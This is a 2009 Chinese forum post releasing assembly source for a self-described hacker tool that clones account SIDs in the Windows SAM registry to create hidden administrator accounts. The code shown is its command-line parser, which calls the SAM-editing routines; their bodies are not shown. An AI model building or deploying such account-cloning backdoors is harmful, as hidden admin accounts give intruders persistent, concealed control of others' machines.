-
-
[原创]CloneHideAdmin开源
-
发表于: 2009-8-13 12:57
-
CloneHideAdmin开源
以前写的一个建立隐藏管理员的命令行工具，类属黑客工具吧，在这里发最主要是想和大家一起共同探讨汇编中命令行参数的处理方法，如果违规，管理员删帖便罢了。
大家看我的处理方法：
;************************** 程序从这里开始执行 ****************************************************
start:
; invoke StdOut,addr szHello ;include masm32.lib and masm32.inc
invoke GetStdHandle,STD_OUTPUT_HANDLE
mov hStdOut,eax
invoke SetConsoleTitle,addr szTitle
invoke _argc
.if eax < 2
jmp ErrorShow
.endif
invoke RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
invoke _argv,1,addr BuffTmp,128
lea edi,BuffTmp
.if byte ptr [edi] == '-'
inc edi
xor ecx,ecx
mov cl,byte ptr [edi]
.if (cl == '?') || (cl == 'h') || (cl == 'H')
invoke ShowUsage
.elseif (cl == 'l') || (cl == 'L')
invoke _argc
.if eax != 2 ;列帐户只要2个参数，加上程序名
invoke StdOut,CTXT(" 列帐户格式不对。再来！",13,10)
jmp ErrorShow
.endif
invoke ClearScreen
invoke RtlZeroMemory,addr BuffEnumSID,sizeof BuffEnumSID ;先清空
invoke SetRegSecurity
invoke ListUserSID,CTXT("SAM\\SAM\\Domains\\Account\\Users\\Names"),addr BuffEnumSID
invoke StdOut,CTXT("当前机器上帐户对应SID:",13,10,13,10)
invoke StdOut,addr BuffEnumSID ;显示出来
invoke StdOut,CTXT(13,10,"请注意：克隆时只要输入最后3位",13,10)
.elseif (cl == 'c') || (cl == 'C')
invoke _argc ;克隆的话要7的参数，加上程序名
; PrintDec eax
.if eax < 7
PrintDec eax,"参数太少"
invoke StdOut,CTXT(" 克隆帐户格式不对。再来！",13,10)
jmp ErrorShow
.endif
invoke RtlZeroMemory,addr BuffSID,sizeof BuffSID
invoke _argv,2,addr BuffSID,sizeof BuffSID ;取SID了
invoke lstrlen,addr BuffSID
.if eax > 3
invoke StdOut,CTXT(" SID 只要最后三位。再来！",13,10)
jmp ErrorShow
.endif
PrintStringByAddr offset BuffSID
invoke RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
invoke _argv,3,addr BuffTmp,128
lea edi,BuffTmp
.if byte ptr [edi] == '-'
inc edi
mov cl,byte ptr [edi]
.if (cl == 'u') || (cl == 'U')
invoke RtlZeroMemory,addr BuffUser,sizeof BuffUser
invoke _argv,4,addr BuffUser,sizeof BuffUser ;取用户名了
PrintStringByAddr offset BuffUser
invoke RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
invoke _argv,5,addr BuffTmp,sizeof BuffTmp
lea edi,BuffTmp
.if byte ptr [edi] == '-'
inc edi
xor ecx,ecx
mov cl,byte ptr [edi]
.if (cl == 'p') || (cl == 'P')
invoke RtlZeroMemory,addr BuffPass,sizeof BuffPass
invoke _argv,6,addr BuffPass,sizeof BuffPass ;取密码了
PrintStringByAddr offset BuffPass
invoke SetRegSecurity
invoke CreateHideAdmin,addr BuffUser,addr BuffPass,addr BuffSID
invoke StdOut,CTXT("恭喜您！！克隆帐户成功 ")
invoke wsprintf,addr BuffTmp,CTXT("帐户名： %s, 密码： %s"),addr BuffUser,addr BuffPass
invoke StdOut,addr BuffTmp
.else
invoke StdOut,CTXT(" 输入密码格式不对。再来！",13,10)
jmp ErrorShow
.endif
.else
invoke StdOut,CTXT(" 输入用户名格式不对。再来！",13,10)
jmp ErrorShow
.endif
.else
jmp ErrorShow
.endif
.else
jmp ErrorShow
.endif
.endif
.else
ErrorShow:
invoke ClearScreen
invoke ShowUsage
.endif
invoke ExitProcess,NULL
end start
完整的工程大家下载了看吧！
注意：程序在VISTA运行有问题。
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
